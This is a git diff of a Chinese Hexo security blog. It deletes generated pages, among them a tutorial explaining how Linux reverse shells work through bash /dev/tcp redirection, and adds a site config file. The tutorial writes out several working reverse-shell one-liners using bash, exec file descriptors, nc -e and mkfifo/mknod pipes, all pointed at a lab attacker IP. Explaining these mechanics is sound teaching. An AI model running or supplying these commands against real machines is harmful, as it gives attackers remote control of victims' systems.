- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/16/rebound-shell-two/index.html b/2019/06/16/rebound-shell-two/index.html deleted file mode 100644 index 46defa7..0000000 --- a/2019/06/16/rebound-shell-two/index.html +++ /dev/null @@ -1,814 +0,0 @@ - - - - - - - - - - - - - - - - Linux 反弹shell(二)反弹shell的本质 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Linux 反弹shell(二)反弹shell的本质 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 0X00 前言

    在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。

    -

    0X01 什么是反弹shell

    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    -

    0X02 为什么要反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形

    -

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

    -

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    -

    2.它的ip会动态改变,你不能持续控制。

    -

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    -

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    -

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    -

    0X03 反弹shell的本质是什么

    我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。

    -

    实验环境:

    -

    受害者:

    -

    Ubuntu Linux ——> 192.168.146.128

    -

    攻击者:

    -

    Kali Linux ——> 192.168.146.129

    -

    我们就以最常见的bash为例:
    attacker机器上执行:

    -
    nc -lvp 2333
    -

    victim 机器上执行:

    -
    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    -

    你就会看到下图:

    -

    img

    -

    可以看到在攻击机上出现了受害者机器的shell

    -

    解释一下这条命令具体的含义:

    -

    1.bash -i

    -

    1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

    -

    2)-i 这个参数表示的是产生交互式的shell

    -

    2./dev/tcp/ip/port

    -

    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

    -

    img

    -

    但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

    -

    实例1:

    -

    我们输出字符串到这个文件里

    -

    img

    -

    攻击机上的输出

    -

    img

    -

    实例2:

    -

    攻击机上的输入

    -

    img

    -

    受害者机器上的输出

    -

    img

    -

    3.交互重定向

    -

    注意:
    下面的内容涉及到比较复杂的重定向和文件描述符的知识,如果理解不够深入建议看完我的上一篇文章以后再来继续阅读:

    -

    文章链接:
    Linux反弹shell(一)文件描述符与重定向

    -

    为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
    在受害者机器上输入

    -
    bash -i > /dev/tcp/192.168.146.129/2333
    -

    示意图:

    -

    img

    -

    如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

    -

    img

    -

    img

    -

    但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

    -

    于是我们似乎还需要一条这样的指令

    -
    bash -i < /dev/tcp/192.168.146.129/2333
    -

    示意图:

    -

    img

    -

    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

    -

    img

    -

    img

    -

    现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

    -
    bash -i > /dev/tcp/192.168.146.129/2333 0>&1
    -

    示意图:

    -

    img

    -

    由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

    -

    如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说我们目前已经基本完成了一个反弹shell 的功能。

    -

    img

    -

    注意:
    但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

    -

    img

    -

    4. >&、&>

    -

    这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

    -

    现在我们解决一下前面的问题:

    -
    bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
    -

    img

    -

    可以看到命令并没有回显在受害者机器上,我们的目的达成了

    -

    img

    -

    当然我们也可以执行与之完全等价的指令

    -
    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    -

    至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句

    -

    0X04 常见的反弹shell 的语句怎么理解

    1.方法一

    bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
    -

    -
    bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    -

    这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

    -

    2.方法二

    bash -i >& /dev/tcp/192.168.146.129/2333 <&2
    -

    等价于

    -
    bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
    -

    示意图:

    -

    img

    -

    3.方法三

    exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
    -

    简单的解释一下:

    -
    exec 5<>/dev/tcp/192.168.146.129/2333
    -

    这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过),于是我们就能通过文件描述符对这个socket连接进行操作了

    -
    command|while read line do .....done
    -

    这个是一个非常经典的句子,它的原句是这样的

    -
    while read line
    -do
    -       …
    -done < file
    -

    从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

    -

    而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

    -

    与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下:

    -
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    -

    4.方法四

    nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

    -
    nc -e /bin/sh 192.168.146.129 2333
    -

    但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

    -
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
    -

    简单的解释:

    -

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    -

    类似的命令:

    -
    mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
    -

    0X05 总结

    反弹shell方法虽然常见,方法网上一搜就是一大把的代码,但是很少有人会去仔细斟酌反弹shell的原理,我也看到有类似的文章,但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论,导致解释语句的时候依然让人不好理解,于是这次我分成了两篇有所关联的文章彻底的剖析了一下,个人认为这个原理是非常值得大家思考的,也很有趣,如果我的文章有什么地方有问题,希望大家及时联系我。

    -

    个人博客: http://www.k0rz3n.com

    -

    0X06 参考链接

    https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    https://blog.csdn.net/roler_/article/details/17504039
    http://www.freebuf.com/articles/system/153986.html
    https://www.zhihu.com/question/24503813

    -
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - Linux 反弹shell(二)反弹shell的本质 -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  本篇 -
-
- -
- - Linux 反弹shell(二)反弹shell的本质 - - Linux 反弹shell(二)反弹shell的本质 -
-
-
-
- - -0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel - -
-
- - 2019-06-16 - - - - - - - - - -
-
- - - - -
-
- - -
-
- 下一篇  -
-
- -
- - Linux反弹shell(一)文件描述符与重定向 - - Linux反弹shell(一)文件描述符与重定向 -
-
-
-
- - -0X00 前言由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 -0X01 文 - -
-
- - 2019-06-15 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..2257125 --- /dev/null +++ b/_config.yml @@ -0,0 +1,122 @@ +# Hexo Configuration +## Docs: https://hexo.io/docs/configuration.html +## Source: https://github.com/hexojs/hexo/ + +# Site +title: 苦乐随缘 +subtitle: By A Cpu +description: 花不解语还多事 石不能言最可人 +author: Demo +language: zh-CN +timezone: + +# URL +## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/' +url: http://Coderzgh.github.io +root: / +permalink: :year/:month/:day/:title/ +permalink_defaults: + +# Directory +source_dir: source +public_dir: public +tag_dir: tags +archive_dir: archives +category_dir: categories +code_dir: downloads/code +i18n_dir: :lang +skip_render: + +# Writing +new_post_name: :title.md # File name of new posts +default_layout: post +titlecase: false # Transform title into titlecase +external_link: true # Open external links in new tab +filename_case: 0 +render_drafts: false +post_asset_folder: false +relative_link: false +future: true +highlight: + # enable: true + enable: false + line_number: true + auto_detect: false + tab_replace: + +# Home page setting +# path: Root path for your blogs index page. (default = '') +# per_page: Posts displayed per page. (0 = disable pagination) +# order_by: Posts order. (Order by date descending by default) +index_generator: + path: '' + per_page: 12 + order_by: -date + +# Category & Tag +default_category: uncategorized +category_map: +tag_map: + +# Date / Time format +## Hexo uses Moment.js to parse and display date +## You can customize the date format as defined in +## http://momentjs.com/docs/#/displaying/format/ +date_format: YYYY-MM-DD +time_format: HH:mm:ss + +# Pagination +## Set per_page to 0 to disable pagination +per_page: 12 +pagination_dir: page + +# Extensions +## Plugins: https://hexo.io/plugins/ +## Themes: https://hexo.io/themes/ + +# theme: huno +theme: hexo-theme-matery + +# Deployment +## Docs: https://hexo.io/docs/deployment.html +# deploy: +# type: git +# repo: git@github.com:Coderzgh/Coderzgh.github.io.git +# branch: master + +deploy: + - type: git + repo: git@github.com:Coderzgh/Coderzgh.github.io.git + branch: master + - type: git + repo: git@gitee.com:coderzgh/Coderzgh.github.io.git + branch: master + + +# deploy: +# type: git +# repo: +# github: git@github.com:Coderzgh/Coderzgh.github.io.git,master +# gitee: git@gitee.com:coderzgh/hexo.git,master + +#plugin 自己添加插件 + +prism_plugin: #注释掉默认hexo(以上highlight: enable: false )代码高亮,使用插件 hexo-prism-plugin,安装命令如下: npm i -S hexo-prism-plugin + mode: 'preprocess' # realtime/preprocess + theme: 'tomorrow' + line_number: false # default false + custom_css: + +search: # 使用到了 hexo-generator-search 的 Hexo 插件来做内容搜索 ,安装命令如下:npm install hexo-generator-search --save + path: search.xml + field: post + +permalink_pinyin: #中文链接转拼音 --未安装成功 + enable: true + separator: '-' # default: '-' + +wordCount: #文章字数统计插件 + enable: false # 将这个值设置为 true 即可. --未安装成功 + postWordCount: true + min2read: true + totalCount: true diff --git a/about/index.html b/about/index.html deleted file mode 100644 index 07306db..0000000 --- a/about/index.html +++ /dev/null @@ -1,855 +0,0 @@ - - - - - - - - - - - - - - - - 关于 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- -
-
-
-
-
- -
- 18 - 文章 -
- - - -
- 5 - 分类 -
- - - -
- 13 - 标签 -
- -
-
-
-
- Demo -
-
-
- -
- 18 - 文章 -
- - - -
- 5 - 分类 -
- - - -
- 13 - 标签 -
- -
-
Demo
-
Software Engineer
- -
-
-
-
- -
-
- -
If you wish to succeed, you should use persistence as your good friend, experience as your reference, prudence as your brother and hope as your sentry.
- - - -
-
-   文章统计图 -
-
-
-
-
- -
-
-
- -
-
-
-
-
- - - - - - - - -
-
-   我的技能 -
-
- - - -
-
-
- Java -
-
85%
-
-
- - -
-
-
- JavaScript -
-
70%
-
-
- - -
-
-
- 渗透 -
-
70%
-
-
- - -
-
-
- CSS -
-
70%
-
-
- - -
-
-
- SQL -
-
90%
-
-
- - -
-
-
- Network -
-
75%
-
-
- - -
- - - - - - - -
- - - - - - - - - -
-
-
-
- - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html deleted file mode 100644 index a780cae..0000000 --- a/archives/2019/04/index.html +++ /dev/null @@ -1,542 +0,0 @@ - - - - - - - - - - - - - - - - 归档: 2019/4 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 04 -
- - - -
- 01 -
- -
- -
- -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/2019/05/index.html b/archives/2019/05/index.html deleted file mode 100644 index d83b674..0000000 --- a/archives/2019/05/index.html +++ /dev/null @@ -1,1029 +0,0 @@ - - - - - - - - - - - - - - - - 归档: 2019/5 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 05 -
- - - -
- 19 -
- -
- -
- - - - - - - - -
- 18 -
- -
- -
- - - - - - - - -
- 17 -
-
-
-
- -
- - 什么是 Shodan? - - 什么是 Shodan? -
-
-
-
- - 什么是 Shodan?首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan - -
-
- - 2019-05-17 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 16 -
- -
- -
- - - - - - - - -
- 15 -
-
-
-
- -
- - Python网络爬虫实战之五:正则表达式 - - Python网络爬虫实战之五:正则表达式 -
-
-
-
- - 正文:正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 -通过一个小实例来了解正则表达式的作用# 从字 - -
-
- - 2019-05-15 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 14 -
- -
- -
- - - - - - - - -
- 13 -
- -
- -
- - - - - - - - -
- 12 -
- -
- -
- - - - - - - - -
- 11 -
-
-
-
- -
- - Python网络爬虫实战之一:网络爬虫理论基础 - - Python网络爬虫实战之一:网络爬虫理论基础 -
-
-
-
- - 一、浏览网页的基本过程和通信基础 -当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? - -简单来说这段过程发生了以下四个步骤: - -浏览器通过DNS服务器查 - -
-
- - 2019-05-11 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/2019/06/index.html b/archives/2019/06/index.html deleted file mode 100644 index ca52939..0000000 --- a/archives/2019/06/index.html +++ /dev/null @@ -1,961 +0,0 @@ - - - - - - - - - - - - - - - - 归档: 2019/6 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 06 -
- - - -
- 16 -
-
-
-
- -
- - Linux 反弹shell(二)反弹shell的本质 - - Linux 反弹shell(二)反弹shell的本质 -
-
-
-
- - -0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel - -
-
- - 2019-06-16 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 15 -
-
-
-
- -
- - Linux反弹shell(一)文件描述符与重定向 - - Linux反弹shell(一)文件描述符与重定向 -
-
-
-
- - -0X00 前言由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 -0X01 文 - -
-
- - 2019-06-15 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 11 -
-
-
-
- -
- - - - - -
-
-
-
- - 关于CVE-2019-0708漏洞浅析,和POC验证整理1. 漏洞情况: 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE - -
-
- - 2019-06-11 - - - - - Demo - - -
-
- - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
- - -今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~首先需要做好准备工作:(所有APP的抓包都会用到以下工具 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第三篇】封包逆向必备知识 - - 【Fiddler为所欲为第三篇】封包逆向必备知识 -
-
-
-
- - - - - -小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。 didi科学家:不好意思,抓包可以为所欲为。 - -其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 使用fiddler对手机上的程序进行抓包 - - 使用fiddler对手机上的程序进行抓包 -
-
-
-
- - -用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。 - -前提: 1.必须确保安装fiddler的电脑和手机在同一个wifi环境下 - 备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
- -
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第二篇】像OD一样调试 - - 【Fiddler为所欲为第二篇】像OD一样调试 -
-
-
-
- - - -导语: 其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”! - - - -一、像OD一样定制菜单 - 1.1定制ru - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/2019/index.html b/archives/2019/index.html deleted file mode 100644 index b4402f0..0000000 --- a/archives/2019/index.html +++ /dev/null @@ -1,1229 +0,0 @@ - - - - - - - - - - - - - - - - 归档: 2019 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 06 -
- - - -
- 16 -
-
-
-
- -
- - Linux 反弹shell(二)反弹shell的本质 - - Linux 反弹shell(二)反弹shell的本质 -
-
-
-
- - -0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel - -
-
- - 2019-06-16 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 15 -
-
-
-
- -
- - Linux反弹shell(一)文件描述符与重定向 - - Linux反弹shell(一)文件描述符与重定向 -
-
-
-
- - -0X00 前言由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 -0X01 文 - -
-
- - 2019-06-15 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 11 -
-
-
-
- -
- - - - - -
-
-
-
- - 关于CVE-2019-0708漏洞浅析,和POC验证整理1. 漏洞情况: 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE - -
-
- - 2019-06-11 - - - - - Demo - - -
-
- - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
- - -今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~首先需要做好准备工作:(所有APP的抓包都会用到以下工具 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第三篇】封包逆向必备知识 - - 【Fiddler为所欲为第三篇】封包逆向必备知识 -
-
-
-
- - - - - -小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。 didi科学家:不好意思,抓包可以为所欲为。 - -其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 使用fiddler对手机上的程序进行抓包 - - 使用fiddler对手机上的程序进行抓包 -
-
-
-
- - -用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。 - -前提: 1.必须确保安装fiddler的电脑和手机在同一个wifi环境下 - 备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
- -
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第二篇】像OD一样调试 - - 【Fiddler为所欲为第二篇】像OD一样调试 -
-
-
-
- - - -导语: 其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”! - - - -一、像OD一样定制菜单 - 1.1定制ru - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - -
- 05 -
- - - -
- 19 -
- -
- -
- - - - - - - - -
- 18 -
- -
- -
- - - - - - - - -
- 17 -
-
-
-
- -
- - 什么是 Shodan? - - 什么是 Shodan? -
-
-
-
- - 什么是 Shodan?首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan - -
-
- - 2019-05-17 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 16 -
- -
- -
- -
- - -
-
-
- - - - - -
-
-
1 / 2
-
-
- - - - - -
-
-
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/2019/page/2/index.html b/archives/2019/page/2/index.html deleted file mode 100644 index c6767fc..0000000 --- a/archives/2019/page/2/index.html +++ /dev/null @@ -1,879 +0,0 @@ - - - - - - - - - - - - - - - - 归档: 2019 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 05 -
- - - -
- 15 -
-
-
-
- -
- - Python网络爬虫实战之五:正则表达式 - - Python网络爬虫实战之五:正则表达式 -
-
-
-
- - 正文:正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 -通过一个小实例来了解正则表达式的作用# 从字 - -
-
- - 2019-05-15 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 14 -
- -
- -
- - - - - - - - -
- 13 -
- -
- -
- - - - - - - - -
- 12 -
- -
- -
- - - - - - - - -
- 11 -
-
-
-
- -
- - Python网络爬虫实战之一:网络爬虫理论基础 - - Python网络爬虫实战之一:网络爬虫理论基础 -
-
-
-
- - 一、浏览网页的基本过程和通信基础 -当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? - -简单来说这段过程发生了以下四个步骤: - -浏览器通过DNS服务器查 - -
-
- - 2019-05-11 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - -
- 04 -
- - - -
- 01 -
- -
- -
- -
- - -
-
-
- - - - - -
-
-
2 / 2
-
-
- - - - - -
-
-
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/archives/index.html b/archives/index.html deleted file mode 100644 index 0ceb799..0000000 --- a/archives/index.html +++ /dev/null @@ -1,1229 +0,0 @@ - - - - - - - - - - - - - - - - 归档 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- -
- - -
-
-
-
-
- - - - - - - -
- -
- - - - -
- 2019 -
- - - - - -
- 06 -
- - - -
- 16 -
-
-
-
- -
- - Linux 反弹shell(二)反弹shell的本质 - - Linux 反弹shell(二)反弹shell的本质 -
-
-
-
- - -0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel - -
-
- - 2019-06-16 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 15 -
-
-
-
- -
- - Linux反弹shell(一)文件描述符与重定向 - - Linux反弹shell(一)文件描述符与重定向 -
-
-
-
- - -0X00 前言由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 -0X01 文 - -
-
- - 2019-06-15 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 11 -
-
-
-
- -
- - - - - -
-
-
-
- - 关于CVE-2019-0708漏洞浅析,和POC验证整理1. 漏洞情况: 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE - -
-
- - 2019-06-11 - - - - - Demo - - -
-
- - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
- - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
- - -今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~首先需要做好准备工作:(所有APP的抓包都会用到以下工具 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - - -
-
-
-
- -
- - - - - - - - -
- 02 -
-
-
-
- -
